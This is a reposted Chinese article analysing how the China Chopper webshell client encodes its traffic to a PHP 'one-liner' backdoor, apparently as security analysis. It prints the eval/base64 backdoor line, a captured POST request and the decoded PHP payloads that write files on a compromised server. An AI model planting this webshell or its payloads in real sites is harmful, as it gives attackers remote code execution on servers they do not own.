网站地图    收藏   

主页 > 后端 > 网站安全 >

中国菜刀通讯加密分析 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 14:46 作者: 阅读:

[导读] Author:Tueur今天在土司看到有人说菜刀有后门,正好我前段时间对菜刀一句话通讯做过分析,借此发篇文章献丑了。说明:菜刀用post与服务端通讯,各种语言的加密方法都一样的,仅执...

Author:Tueur

今天在土司看到有人说菜刀有后门,正好我前段时间对菜刀一句话通讯做过分析,借此发篇文章献丑了。

说明:菜刀用post与服务端通讯,各种语言的加密方法都一样的,仅执行代码不同,这里仅以PHP为例。

其实菜刀的通讯加密并不是很复杂,仅用到base64_encode()函数,但是它的加密手法非常巧妙。

一般POST到服务器的数据,就算加密过了,我们也能用echo $_POST['pass']的方法得到加密后的数据,

所以我分析时在服务器上的“一句话”后面加了段代码,让所有$_POST['pass']的内容都各自保存到一个txt文本。

但用菜刀执行一些操作后,发现服务端保存的txt文本里都只有一句代码:“@eval(base64_decode($_POST[z0]));”。

这是它的加密手法之一:POST里包含POST,这样即使管理员发现一句话木马,也无法截取到你执行了什么代码。

服务端突破基本无望,只能本地抓包了,下面这段代码是用抓包工具抓到新建文件的POST数据。(pass是一句话里的post变量名)

pass=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO 0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOztlY2hvIEB md3JpdGUoZm9wZW4oYmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pLCJ3IiksYmFzZTY0X2RlY29kZSgkX1BPU1RbIno yIl0pKT8iMSI6IjAiOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=RDpcXFdXV1xcd3d3XFxOZXdGaWxlLnR4dA%3D %3D&z2=dGVzdA%3D%3D

可以看到不止发送一个POST变量(POST变量用&分割),而一句话木马的POST执行的是$_POST[z0],这是第二个POST的变量z0,

可以看出z0变量经过base64_encode()加密,所以要先解密z0变量,用base64_decode()函数解密z0得到如下:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("-6 �木�� 犮��蝌 � 恚���}A=MQl�t什� 恚���}A=MQl�t中����擨�□�貙�欠 �木�

只解密出了前三句代码,后面全是乱码,这里我找了一晚上都没找到问题出在哪,看起来加密代码应该没有问题,

因为前面的pass变量可以看出是直接用base64_decode()解密用eval执行的,如果有经过其他加密处理就没无法执行代码了。

直到第二天才发现问题所在,这是他的第二个加密手法:利用服务器接收POST数据时自动将经过url编码处理的字符串还原。

各位仔细看z0变量里的加密代码,会发现有两个%符号,而base64编码是不支持%符号的,带%的一般是url编码。

我把%2B和%3D用urldecode()函数还原分别是+号和=号,替换到加密代码里再用base64_decode()解密得到了完整代码:

@ini_set("display_errors","0"); @set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");; echo @fwrite(fopen(base64_decode($_POST["z1"]),"w"),base64_decode($_POST["z2"]))?"1":"0";; echo("|<-");die();

而在这段代码又包含了两个POST变量,$_POST['z1']和$_POST['z2'],这是第三层POST包含了,且也经过base64加密和url编码。

从先前抓的数据包找到这两个变量,先还原里面的url编码字符,再用base64_decode()解密,得到如下

z1=D:\\WWW\\www\\NewFile.txt //新建文件保存路径 z2=test //新建文件内容

到这里我们才算真正将$_POST['pass']里的代码完全还原出来了。

@ini_set("display_errors","0"); @set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");; echo @fwrite(fopen("D:\\WWW\\www\\NewFile.txt","w"),"test")?"1":"0";; echo("|<-");die();

eval执行的就是上面的代码。

其他如编辑,复制等操作也是一样的加密手法,我已经将他们全部还原成明文,并没有发现所谓的后门,

对菜刀客户端也进行了两个多小时的抓包监听,也无任何自动执行动作

from:康斯坦丁

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论